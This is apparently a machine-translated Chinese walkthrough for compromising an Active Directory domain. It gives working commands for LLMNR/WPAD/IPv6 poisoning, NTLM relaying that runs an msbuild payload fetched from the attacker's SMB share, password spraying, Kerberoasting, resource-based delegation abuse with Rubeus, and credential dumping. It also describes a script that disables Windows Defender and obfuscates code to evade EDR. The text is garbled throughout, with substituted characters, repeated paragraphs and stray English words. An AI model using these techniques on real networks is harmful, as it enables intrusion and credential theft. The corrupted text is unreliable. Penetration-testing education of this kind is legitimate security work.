Active Directory渗透测试典型案例

0x01 前言

我有几个客户在渗透测试以前来找我,说他们的系统安全作得很是好,由于他们的漏洞扫描显示没有严重的漏洞而且已准备好进行安全测试,这使我在15分钟内利用AD中的错误配置得到了域管理员权限。html

我在渗透测试领域看到的一个教育缺陷是当前涉及渗透Active Directory(AD)方面缺少知识。不幸的是,OSCP并无覆盖AD测试,甚至连sans-gpen课程也不多涉及它。本文的目标是帮助展现我过去在对AD的安全测试中使用的一些技术,工具和方法。这毫不是一遍关于每种方法或工具的综合性手册。在本系列中,我将使用kali linux 2019,并经过虚拟机在本身的虚拟域上操做。python

让咱们首先说明目标:渗透测试的目标是识别攻击者为破坏网络而使用的任何可能的攻击向量。它不是为了得到域管理员权限。linux

如今咱们有了一个目标,咱们遵循了几个步骤来实现它。下面是关于测试环节的(粗略)图示指南。ios

概要:一个客户机雇佣您在他们的网络上进行渗透测试,该网络使用Active Directory。没有提供任何有关的信息,也没有任何登陆凭据,也没有攻击范围,也没有进入客户公司前门的凭证,可是你能够设法从后门尾随进入,找到一个有IP电话的隐蔽房间。拔下IP电话的插头,插入笔记本电脑,发现本身在客服公司同一局域网内。下一步是什么?得到权限立足点。git

0x02  第一阶段:得到权限立足点

因为没有信任证书,咱们能够进行的侦察数量有限,并且几乎在整个周期的每一步都会进行侦察,可是咱们能够当即采起一些措施来立足于网络。首先,由于咱们有网络访问权限,因此只需经过ifconfig或ipconfig检查咱们所在的子网。得到IP后,在nmap中执行ping扫描以查看是否能够访问其余设备。github

nmap -sn 192.168.1.1/24

若是显示ping返回,那么该网络设备可网络连通。若是什么都没有获得,多是ICMP被禁用,那么网络上没有其余设备,或者因为您没有通过身份验证,您没法与其余设备通讯,而且可能被身份安全解决方案(如Cisco ISE)阻止。为了本文的目的,假设咱们已经和一些设备网络连通,而且可以成功地对它们执行ping操做。web

1.Responder

接下来,咱们将使用一个名为Responder的工具或者若是你偏心Windows,那么Inveigh。这两个工具的做用是检查AD中很是常见的错误配置,从而致使WPAD和NBT-NS中毒的能力。默认状况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在组织中颇有用,由于设备将发送广播请求代理文件并接收代理文件。可是,它天然不会验证发送代理文件的人员,容许攻击者发送欺骗性答案而后请求凭据。shell

接下来,咱们将使用一个名为Responder的工具,或者若是您偏心Windows和Inveigh。这两个工具的做用是检查AD中常见的错误配置,从而致使WPAD和NBT-NS投毒。状况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在企业组织中颇有用,由于设备将发送广播请求代理文件并接收代理文件。可是,它天然不会对发送代理文件的人进行身份验证,从而容许攻击者发送一个欺骗的答案,而后请求凭据。数据库

在Kali中,默认安装 responderjson

responder -I eth0 --wpad
在个人Windows 7计算机上,我打开Internet Explorer并转到Google,而后启动对WPAD文件的搜索。在Responder中,我看到请求经过,而后Responder自动用挑战回复请求,这致使受害者发送他们的用户名和哈希密码(以NTLMv2格式)

有了这个哈希表,咱们能够作一些事情。咱们能够尝试破解它,或者使用ntlmrelay.py之类的工具进行中继。我在该文章中阐述了如何转发NTLM哈希,因此我将继续阐述如何破解它,由于这一般是我在计划时所作的。

说实话,我不多在linux/kali上破解密码。我使用的是一个nvidia GPU显卡,它历来没有在Kali上被正确安装过,并且Windows上有hashcatgui,这使得它更简单容易并将使用它。我把收集到的哈希值存储到一个名为“hash.txt”的文件中,并对其运行一些简单规则和输入输出设置,但在本文中,我只是使用了字典rockyou.txt并运行它,它在一秒内就成功破解了哈希值。

我对HashcatGUI的设置

如今咱们成功破解了密码,咱们有登陆凭据Alice:Password!

在继续以前,我想展现一些其余的方法,以防 Responder 程序不起做用。

2.mitm6

假设客户端的网络正在使用合法的WPAD PAC文件,而且您的欺骗没法正常运行。还有另外一种技术利用IPv6和DNS将凭证中继到目标。默认状况下,IPv6已启用且实际上优先 于IPv4,这意味着若是计算机有IPv6 DNS服务器,则它将使用IPv4。此外此外,默认状况下,Windows计算机经过DHCPv6请求查找IPv6 DNS服务器,若是咱们使用假的IPv6 DNS服务器进行欺骗,咱们能够有效地控制设备查询DNS的方式。更多内容能够在这里阅读。

首先,下载mitm6

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

而后针对目标网络工做组运行它。由于咱们之前作过一次ping扫描,因此也获取到了netbios名称,显示目标域是lab.local

如下是我运行mitm6以前目标上的IP设置。

                                                        注意DNS服务器

而后运行mitm6

mitm6 -d lab.local

如今目标上的DNS服务器已经被更改

                                                                注意IPv6地址做为DNS服务器

如今真正的漏洞是Windows下IPV6比IPV4的攻击更好,这意味着如今已控制DNS。

因此如今利用这样一个事实:咱们经过Ntlmrelayx.py再次欺骗WPAD响应来控制DNS。在这里,我写了一篇关于如何设置它的指南。

在一个窗口中运行mitm6时,同时打开另外一个窗口并运行ntlmrelayx.py

ntlmrelayx.py  -wh 192.168.218.129  -t  smb://192.168.218.128/  -i
-wh: 托管WPAD文件的服务器(攻击者的IP)

-t: 目标(您没法将凭据中继到您正在欺骗的同一设备中)

-i:打开一个交互式shell

从这里咱们能够经过netcat链接到shell,就好像咱们有一个彻底交互的SMB shell,或者咱们能够经过-c(命令)发送一个Empire stager。实际上,你的选择仅限于ntlmrelayx.py所能作的。在这种状况下,我使用-c命令来执行silenttrinity有效payload。我在这里写了关于如何使用SILENTTRINITY的文章。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

可是,在本例中,msbuild.exe在这种状况下不构建XML文件,并且我也没有返回silenttrinity的链接,由于这太容易了。相反,我查看个人SMB服务器并查看中继哈希

而后反而我成功地破解了它

如今,咱们成功地在不使用Responder的状况下拥有网络凭据

3.CrackMapExec

CrackMapExec本质上是一把瑞士军刀。从密码喷洒和哈希传递到命令执行,它应该在每一个渗透测试工具包中被使用

若是其余都失败了,咱们能够尝试密码喷洒。这个方法之因此是最后一个,是由于密码被锁定。密码锁定并不像您想象的那样常见,这容许攻击者对用户名使用字典进行攻击。获取用户名是第一步,能够经过OSInt和使用信息收集器来完成。若是咱们没有来自osint的用户名,咱们也能够给crackmapexec(cme)一个用户名字典表,可是为了时间的缘故,咱们假设有用户名rsmith。

若是您使用的是Kali的较新版本,则默认已安装了CrackMapExec,但若是不是,则能够安装它

apt-get install crackmapexec

因为咱们在扫描中识别出网络上的设备,所以咱们能够向CME提供与用户名配对的密码字典并尝试登陆。

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares

几秒钟后,就会获取到密码。

这可能看起来是CTF-Y,但season:year 是一个很是流行的密码组合。

有了这些找到的凭据,咱们如今拥有了一个常规的用户账户,并将下文中继续提高权限

在上文中,我以三种不一样的方式得到了域的凭据。在本文的大部份内容中,我将使用rsmith用户凭据,由于它们权限是低级别的,这将使咱们进行权限提高

固然,Windows中的权限提高能够来自缺乏的补丁或不带引号的服务路径系统,但因为这是对AD的测试,咱们将利用一些AD内容来提高权限。

有了网络凭据,咱们如今应该先进行一些信息收集,而后再直接查看未打的补丁漏洞。有一些工具和技术会对咱们有所帮助。

0x03 第二阶段:特权提高和信息收集

1.Bloodhound

我最喜欢的工具之一是Bloodhound。以图形化方式显示,所以Bloodhound是一个很好的工具,由于它能够从字面上映射出图形中的域,揭示了有关联和无关联的关系。从攻击者的角度来看,这颇有趣,由于它向咱们展现了目标。

我写了一整篇关于Bloodhound的文章,能够在这里阅读到,但我会展现一个tl; dr版本

假设您没有在计算机上得到一个会话,但您拥有凭据。您仍然可使用Bloodhound的Python并远程收集数据。能够经过git进行安装

git clone https://github.com/fox-it/BloodHound.py.git 
cd BloodHound.py/&&pip install

而后能够经过传递凭据,域和DC IP来运行

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

一旦BH完成了任务,它将以.json格式将数据存储在运行它的目录中。复制这些文件,而后将它们拖到Bloodhound中,如今您就有了一个漂亮的网络图。若是按“域管理的最短路径”排序,您将获得相似于下面的内容。

                                                                                                                                     AdminAlice已登陆DC

这样作的好处是,您能够直接查看管理员登陆到哪些计算机,从而为您提供下一个目标。在一个拥有数百甚至数千台接受低权限凭据的计算机的域中,您不但愿仅仅经过收集其余低权限凭据来浪费时间。这给出了一个目标列表,以及许多其余内容。其余用途包括识别可能具备包含凭证的数据库的SQL服务器,识别哪些机器能够链接RDP等等。我鼓励您在此深刻了解它的深刻功能。我还鼓励你看看GoFetc,它自动利用Bloodhound绘制的攻击计划。

2.Kerberoasting | GetUserSPNs.py

经过标识目标列表和域控制器,一种权限提高的方式是Kerberoasting。由于在AD中向服务账户颁发了服务主体名称(SPN),因此能够进行kerberoasting。而后,任何用户均可以从具备该账户哈希密码(采用kerberos 5 tgs-rep格式)的SPN请求kerberos票证。有许多不一样的工具能够进行Kerberoasting,但实际上你只须要一个工具。

GetUserSPNs.py很是简单 - 它在目标域中查询在用户账户下运行的SPN。使用它很是简单。

如今咱们有一个服务账户的哈希值。我将它加载到hashcat(固然是GUI)中并选择hash类型13100,以下所示

它会在几秒钟内成功爆破

咱们如今拥有服务账户的凭据,这一般会对域控制器的进行成功访问。太容易了?让咱们试试其余方法。

3.ASEPRoasting | Rubeus

ASEPRoasting相似于Kerberosting,从这个意义上说,咱们查询账户的TGT,获取哈希,而后破解它,可是在Aseproasting的状况下有一个很是大的警告:必须禁用Kerberos预身份验证,这不是默认设置。当您经过Kerberos AS-REQ消息请求TGT时,您还提供使用您的用户名和密码加密的时间戳。而后,密钥分发中心(KDC)解密时间戳,验证来自该用户的请求,而后继续进行身份验证过程。这是kerberos的预身份验证过程,这显然是攻击者的问题,由于咱们不是kdc,没法解密该消息。固然,这是设计用于防止攻击,可是若是预身份验证被关闭,咱们能够向任何用户发送一个as-req,它将返回哈希密码。因为默认状况下启用了预身份验证,所以必须手动关闭它,所以这种状况不多见,但仍然值得一提。

tsmith容易受到 ASREPRoasting影响,由于选中了“不须要Kerberos预身份验证

为了利用这一点,咱们将使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,可是为了进行ASREPRoasting,咱们关心这一部分。要使用Rubeus,首先须要安装Visual Studio。安装完成后,下载Rubeus并使用Visual Studio打开Rubeus.sln文件。

默认状况下,它将安装在rubes\bin\debug\file中。cd进入该目录,而后运行它:

 .\Rubeus.exe asreproast

若是没有用户选中“不须要Kerberos预身份验证”,那么就不会有任何用户进行验证。但若是有…

而后咱们能够为用户获取哈希并破解它。

请记住,示例是在已加入域的计算机上完成的,所以,若是您是从不在域上的计算机上执行此操做,则必须链接域控制器,域名,OU等

4.SILENTTRINITY

SILENTTRINITY是由@ byt3bl33d3r开发的一种新的命令和控制(C2)工具,它使用IronPython和C#。您能够选择使用MSBuild.exe,这是一个Windows二进制文件,它构建C#代码(默认状况下也安装在Windows 10中,做为.NET的一部分),以XML格式运行命令和控制(C2)有效载荷,容许而后攻击者使用底层.NET框架经过IronPython,C#和其余语言在受害者的主机上进行操做。

就我的而言,SILENTTRINITY已经取代了我工具箱中的Empire,我在这里写了一篇关于如何使用帝国的指南。还有一些地方我更喜欢Empire链接,但ST也处于'alpha'状态,因此该功能也会在其ST中体现。在我看来,ST取代Empire有三个主要缘由。

  1. Empire的有效载荷如今被Windows Defender捕获,即便是在混淆的状况下(有不少方法能够解决,但仍然如此。)
  2.   ST在命令下执行
  3. 使用–at exec参数在CME上执行有效负载时,能够将权限升级到SYSTEM权限

如下是使用非域管理员用户凭据的全新Windows 10安装中的POC

                         账户“tsmith”仅在用户的组中


                                                                                                             使用tsmith的凭据执行代码 

我在SILENTTRINITY中生成XML payload,而后经过smbserver.py将其托管在个人SMB服务器上。若是你对怎么作感到困惑,请按照个人指南进行操做。而后,我使用CME执行将在攻击者机器上获取XML文件的命令。

我在silenttrinity中生成XML有效负载,而后经过smb server.py将其托管在个人smb服务器上。若是你对怎么作感到困惑,请按照个人指导来作。而后,我使用CME执行将在攻击者机器上获取XML文件的命令。

crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec

                         CME执行所提供的命令,该命令运行msbuild.exe并告诉它托管在个人SMB服务器上的XML文件

 我如今在ST中得到了一个会话

列出会话的信息会显示个人用户名是system,这意味着我从用户tsmith提高到了system,这是由于msbuild.exe使用–exec method atexec选项运行,该选项使用具备系统权限(或尽量高的权限)的任务计划程序来运行命令

固然,咱们而后转储凭据,如今有一个管理员密码哈希,咱们能够传递或破解它。

4.PrivExchange

PrivExchange是一种新技术(在过去一个月内),它利用了默认状况下Exchange服务器过分使用的事实。这是Dirkjann在一个多月前发现的,如今是快速提高特权的一种很好的方法。

它的工做原理是查询Exchange服务器,获取包含Exchange服务器凭据的响应,而后经过ntlmrelayx将响应中的凭据中继到域控制器,而后修改用户的权限,以便他们能够在域控制器上转储哈希值。

设置它有点麻烦。Exchange 2013是使用Windows 2012 R2服务器上的默认方法安装的,我对PrivExchange python脚本进行了此修改,以使其在没有有效SSL证书的状况下工做。在那以后,它运行一切顺利。

首先,启动ntlmrelayx.py并将其指向DC,经过LDAP进行身份验证并提高用户的权限。

ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

而后,经过传入攻击者IP(-ah),目标和用户/密码/域来运行privexchange.py

python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201

                                                                                             Privexchange.py对echange进行API调用   

                                                             ntlmrelayx将Exchange服务器的凭据中继到主DC,而后提高rsmith的权限   

                 

                                                                                  使用rsmith的特权在DC上转储哈希值

经过对全部用户使用哈希,如今能够破解它们了。

注意:若是你运行mimikatz,它会被AV捕获,secretsdump.py是一个很好的选择,由于它不会将任何东西存储到磁盘上。

5.Kerberos无约束委派

一样来自Dirk-jan,是一种利用默认AD安装的攻击。具体而言,默认状况下,计算机能够更改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否能够经过Kerberos模拟登陆(几乎)域中的任何计算机。经过中继凭证能够实现这一切。我在第一部分中演示了mitm6,因此我将在这里再次使用它,可是以不一样的方式传递响应。

一样来自Dirk-jan,,它是一种利用默认AD安装的攻击。具体而言,默认状况下,计算机能够更改与其权限相关的一些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否能够经过Kerberos模拟登陆(几乎)域中的任何计算机。经过中继凭证能够实现这一切。我已经在上文中演示了mitm6的使用方法,因此我将在这里再次使用它,可是以不一样的方式传递响应。

mitm6 -i ens33 -d lab.local

而后我在提供WPAD文件时并经过LDAPS将凭据中继到主DC,同时选择委派访问攻击方法。

ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access

受害者打开IE,它经过IPv6发出WPAD请求,攻击者(我)响应并经过LDAPS将这些凭据转发给DC。建立一台新计算机并修改委派权限,以便新的“计算机”能够经过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。因此我如今生成一张白银票据,并冒充用户'管理员'

getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator

而后我经过secretsdump.py使用我获取到的白银票据登陆到LABWIN10并转储凭据

要了解更多关于白银票据攻击及其工做原理,这是一篇很好的文章

6.基于资源的约束委派

是的,因为msDS-AllowedToActOnBehalfOfOtherIdentity属性致使更多攻击。@ harmj0y几个星期前在此发了一篇文章。基本上,若是您可以在AD中更改计算机对象,你就能够接管该计算机权限。惟一的问题是须要有一个2012+域控制器,由于旧版本不支持基于资源的约束委派(RBCD)。在这篇文章中,EladShamir分解了整个攻击,包括更多关于RBCD的内容

有三种工具可用于此操做:

Powermad

POWERVIEW

Rubeus

而后使用rsmith的凭据在Windows 10计算机上执行此攻击。首先,咱们将executionpolicy设置为Bypass(绕过),以便咱们能够导入和运行脚本。

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

而后咱们检查是否能够修改自由访问控制列表(DACL

$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} 

上述命令表示是查找“用户”SID的权限,代表该组对该对象(DC)具备“建立-写入”权限。

默认状况下,这是不可利用的。这是在恶意利用管理员设置的潜在错误配置;在此示例中,管理员将“用户”组添加为DC的主体并容许GenericWrite属性。

做为POC,rsmith(属于“用户”组)没法链接DC

接下来咱们要作的是建立一个新的计算机账户,并修改域控制器上的属性,以容许新的计算机账户冒充域控制器上的任何人,这一切都要归功于msDS-allowedToActOnBehalfOfOtherIdentity。咱们能够建立一个新的计算机账户,由于默认状况下,用户最多能够建立10个计算机账户。powermad有它的功能。

New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)

而后,咱们将新机器的SID添加到 DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性

$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

而后使用Rubeus获取咱们建立的机器的NT密码

.\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 

最后,咱们在目标DC上使用Rubeus的用户服务(S4U)进程模拟域管理员(Administrator)

.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt

经过导入票据,咱们能够访问域控制器。

一样,这是利用系统管理员错误的并添加“用户”组以便对DC具备通用的写访问权限的设置事实。尽管咱们没法经过SMB访问它,但咱们修改了容许咱们访问的权。若是您仍然感到困惑,这里有来自SpecterOps 的视频演示。

7.MS14-025,GPP

这个不太常见,由于它已经出现了很长一段时间了,但它被说起由于它仍然存在。MS14-025也称为组策略首选项提高漏洞。

当域管理员经过组策略首选项推送到本地管理员账户时,它会将加密的凭据存储在域控制器上的SYSVOL共享中(任何人均可以访问SYSVOL,由于它是存储策略的位置以及域客户端须要的其余内容访问)。这一般不会成为问题,由于它是用AES加密的,对吗?是的,微软公司在网上发布了解密密钥。因此如今,攻击者能够解码密码。为了简化这个过程,metasploit有一个辅助模块。

8.攻查找特权账户CrackMapExec

好吧,这个不必定是“攻击”,就像它是一种作好侦察和枚举的方法同样,一些工具能够帮助解决这个问题。从文章的角度来看,这彷佛有点延伸,但实际上,特权账户很是广泛,找到一我的账户而后登陆到另外一我的工做站并阅读他们的东西并不罕见。此外,拥有该用户应该没有业务访问权限的服务器的权限,这固然致使攻击者只是在任何地方转储凭据并最终找到在域控制器上工做的信誉。

好吧,这一次不必定是“攻击”,由于它是一种进行良好侦察和计数的方法,一些工具能够帮助解决这个问题。从一篇文章的角度来看,这彷佛有点夸张,但事实上,特权帐户是如此广泛,以致于找到一我的的帐户,而后登陆到另外一我的的工做站,并读取他们的资料是很正常的。此外,拥有对该用户不该该具备业务访问权限的服务器的权限,这固然会致使攻击者将凭证丢到任何地方,最终找到在域控制器上工做的凭证。

这里的方法很是简单:在网络上喷涂凭据,查看您能够登陆的内容。使用crackmapexec,您能够列出共享并查看您具备写入权限。

这里的方法很简单:在网络上喷涂凭据,看看你能登陆什么。使用CrackMapExec,您能够列出这些共享并查看您有哪些写访问权限。

crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares

从这里开始,使用SILENTTRINITY打开用户具备写入权限的会话,运行mimikatz模块,并但愿您找到具备特权的新凭据。请记住,您能够将CME与CIDR一块儿使用,这意味着若是您使用SILENTTRINITY做为C2服务器并使用CME触发链接,则能够经过网络将其喷射到最大会话。虽然它不是很是OpSec友好且很是嘈杂。考虑它是一个测试,看看他们的检测和响应姿式是如何

在这里,使用silenttrinity打开一个会话,讨论用户对哪些内容具备写访问权限,运行mimikatz模块,并但愿您找到具备特权的新凭据。记住,你可使用CIDE和CIDRS,这意味着若是你使用SeleTrtruthC2做为C2服务器,并使用CME来触发链接,你能够经过网络喷洒最大的会话。尽管它不太友好,噪音也不太大。把它看成一个测试,看看他们的检测和反应姿式是怎样的

9.PowerTools

(1).攻击方法一:在文件中查找密码

另外一个须要查找的是文件中的密码。有几回我发现用户在他们的Documents文件夹中存储了电子邮件,其中包含一个密码。或者他们保存一个包含密码的Excel/Word文件。这就是PowerSploit派上用场的地方。我从哪里开始使用PowerSploit?若是你想作一些恶意的事情,它有一个powershell模块。在搜索密码或任何字符串的状况下,PowerView是您的好助手。请记住,EDR基本上捕获了这个套件中的每一个模块,所以我建议在使用Invoke-Obfuscation以前对它们进行编码。PowerView易于使用。下载PowerSploit,并在您解压缩的目录中打开Powershell(确保您是管理员)。

首先,容许运行脚本

Set-ExecutionPolicy Bypass

而后导入模块

Import-Module .\PowerView.ps1

在PowerView模块中有一个名为Invoke-FileFinder的命令,它容许您在文件中搜索所需的任何字符串。好比字符串'password'。

                                            在C盘中搜索包含字符串'password'的任何内容   

                                                                                                                                                            找到一个密码文件

请注意,这须要很长时间。它有助于缩小搜索区域并从该目录运行命令

(2).攻击方法二:Get-ExploitableSystem

这是一个很是简要的脚本。它将向Active Directory查询每一个计算机账户的主机名,操做系统版本和Service Pack版本,而后根据常见的Metasploit漏洞利用列表进行交叉引用。

首先导入整个PowerPloit套件(若是须要,只导入PowerView)

Import-Module .\PowerSploit.psd1

而后运行该命令

Get-ExploitableSystem -Verbose

                     Hurray for Windows XP!
(3).攻击方法三:PowerUp

在PowerUp模块中有一个名为“Invoke-All-Checks”的函数,它彻底按照它的脚本自动执行。它会检查全部内容,从不带引号的服务路径(我在这里写了如何利用)到寻找MS14-025。查看Github了解更多信息。

使用它很简单

Invoke-AllChecks

PowerUp使用方法:

Powerup旨在成为依赖错误配置的常见Windows权限提高向量的交换中心。

运行Invoke-AllChecks将输出任何可识别的漏洞以及任何滥用功能的规范。-HTMLReport参数还将生成报告的computer.username.html版本。

做者:@ harmj0y许可证:BSD 3-Clause必需依赖项:无可选依赖项:无

服务枚举:

Get-ServiceUnquoted                 -   返回具备名称空间的未加引号路径的服务
Get-ModifiableServiceFile           -  返回当前用户能够写入服务二进制路径或其配置的服务
Get-ModifiableService               -   返回当前用户能够修改的服务
Get-ServiceDetail                   -   返回有关指定服务的详细信息
Invoke-ServiceAbuse                 -   修改易受攻击的服务以建立本地管理员或执行自定义命令
Write-ServiceBinary                 -   写出一个修补的C#服务二进制文件,它添加一个本地管理员或执行一个自定义命令
Install-ServiceBinary               -  将服务二进制文件替换为添加本地管理员或执行自定义命令的服务二进制文件
Restore-ServiceBinary               -   用原始可执行文件还原替换的服务二进制文件
DLL劫持:
Find-ProcessDLLHijack               -   为当前运行的进程查找潜在的dll劫持
Find-PathDLLHijack                  -  查找服务%path%dll劫持
Write-HijackDll                     -  写出一个可劫持的DLL

注册表检查:

Get-RegistryAlwaysInstallElevated   -  检查是否设置了alwaysInstallElevated注册表项
Get-RegistryAutoLogon               -   检查注册表中的自动登陆凭据
Get-ModifiableRegistryAutoRun       -   在hklm autoruns中检查任何可修改的二进制文件/脚本(或其配置)

杂项检查:

Get-ModifiableScheduledTaskFile     -   检查具备可修改目标文件的schtasks
Get-UnattendedInstallFile           -   检查剩余的无人参与安装文件
Get-Webconfig                       -   检查任何加密的web.config字符串
Get-ApplicationHost                 -   检查加密的应用程序池和虚拟目录密码
Get-SiteListPassword                -   检索找到的McAfee的sitelist.xml文件的明文密码
Get-CachedGPPPassword               -   检查缓存组策略首选项文件中的密码
其余帮助/辅助功能:
Get-ModifiablePath                  -   对输入字符串进行标记,并返回当前用户能够修改的文件
Get-CurrentUserTokenGroupSid        -   返回当前用户所属的全部sid,不管这些sid是否被禁用
Add-ServiceDacl                     -   为service返回的服务对象添加dacl字段
Set-ServiceBinPath                  -   经过win32 api方法将服务的二进制路径设置为指定值
Test-ServiceDaclPermission          -  根据给定的权限集测试一个或多个传递的服务或服务名称      
Write-UserAddMSI                    -   写出一个MSI安装程序,提示用户添加
Invoke-AllChecks                    -   运行全部当前权限提高检查并返回报告
(4).攻击方法四:GetSystem

此模块执行与Metasploit'GetSystem'的功能相同。要了解更多关于具体内容的信息,请阅读阅读CobaltStrike这篇优秀文章。

不然,只需运行该命令便可

Get-System -Technique Token

或者

Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 

                                      这是LAB\administrator
                                              这是LAB\system

10.ADAPE

就我我的而言,我写了一个名为adape的脚本——Active Directory评估和权限提高脚本

ADAPE是用PowerShell编写的,它使用几个不一样的其余工具的函数,并自动运行它们,从而防止须要经过多个工具进行端口链接。它也被混淆加密并关闭Windows Defender以帮助咱们绕过EDR。

ADAPE易于使用。下载它,将其复制到目标Windows机器上,而后运行它

PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 

因为包含了全部必需的脚本,所以不须要访问到Internet,而是将结果存储在可导出的capture.zip文件中。

 

错误消息是正常的,除非它被中断。而后给出错误报告。
寻找GPP密码,Kerberoasting和运行Bloodhound
                               检查privesc,而后删除它建立的文件并压缩捕获文件

若是打开捕获文件,您将得到全部结果

一样,不管如何,这并不全面。这只是我多年来成功使用的一些工具和攻击,因此至少有一种是可行的。在第三部分中,我将讨论后期利用和权限持久性。

Active Directory评估和权限提高脚本使用方法:

首先我要说的是,我彻底不相信这个脚本中使用的模块。很是感谢Tim Medin,Kevin Robertson,Marcello Salvati,Will Schroeder以及Spectre Ops团队的其余成员提供本脚本中使用的模块。最后,感谢Daniel Bohannon编写的Invoke-Obfuscation,它用于混淆此脚本中的全部模块。我只是将它们组合在一块儿的那我的。

在个人参与和评估中,我常常运行一些PowerShell脚原本帮助识别下一个目标,检查错误的组策略设置,AD错误配置,缺乏补丁等。此脚本结合了我常用的脚本并自动运行我在这些脚本中使用的功能,将结果输出到zip文件中。

该脚本将执行如下操做:

•经过WPAD,LLMNR和NBT-NS欺骗收集哈希值

•检查GPP密码(MS14-025)

•经过Kerberoast为账户收集哈希值

•绘制域并经过BloodHound识别目标

•检查权限提高方法

•在网络上搜索开放的SMB共享

•在这些共享和其余可访问目录中搜索敏感文件和字符串(密码、PII或您真正想要的任何内容)。默认状况下,它在寻找“密码”的关键字。例如,若是您想搜索CVV关键字,只需将其添加到“password(密码)”旁边,例如password(密码),cvv

•检查网络上的系统补丁

•搜索附属股份

•搜索文件服务器

•收集域策略

这个脚本彻底能够独立运行,而根本不使用互联网。所需的全部脚本都是混淆的PowerShell并包含在内,所以它应该绕过大多数基本的AV防护解决方案。默认状况下,它将关闭Windows Defender。若是opsec让您担忧(例如目标在Defender关闭时配置了警报),那么你能够在第34行的“Set-MpPreference -DisableRealtimeMonitoring $ true”以前加上'#'进行注释它。

它使用如下模块:

Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1

Kerberoast - https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Bloodhound - https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

Get-GPPP - https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Get-GPPPassword.ps1

PowerUp - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

该脚本将要求以管理员身份运行,,由于它须要这样作。若是您没有管理员权限,它将只运行权限提高模块。若是您被UAC阻止,我建议您运行绕过UAC脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Escalation/Invoke-PsUACme.ps1

运行.ps1以后,它将在正在运行的同一文件夹中建立捕获文件并将其压缩。在脚本结束时,它会删除它建立的全部文件夹(显然除了.zip文件外)。

GPP密码检查和搜索敏感文件须要一段时间,所以,若是这个脚本须要很长时间才能完成,请不要惊讶,这取决于您要搜索的域控制器、开放共享和字符串的数量。若是运行时间太长,请将这些部分注释掉。

用法:PowerShell.exe  -ExecutionPolicy  Bypass  ./ADAPE.ps1

 

0x04  参考文献

https://hausec.com/2018/10/05/windows-privilege-escalation-via-unquoted-service-paths/

https://hausec.com/2018/10/12/the-rise-of-c-and-using-kali-as-a-c2-server-with-silenttrinity/

https://github.com/BloodHoundAD/BloodHound

https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/

https://github.com/fox-it/BloodHound.py

https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf

https://github.com/GoFetchAD/GoFetch

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

https://www.blackhillsinfosec.com/a-toast-to-kerberoast/

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/GhostPack/Rubeus

https://github.com/GhostPack/Rubeus#asreproast

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/dirkjanm/PrivExchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://www.varonis.com/blog/kerberos-attack-silver-ticket/

https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://github.com/Kevin-Robertson/Powermad

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

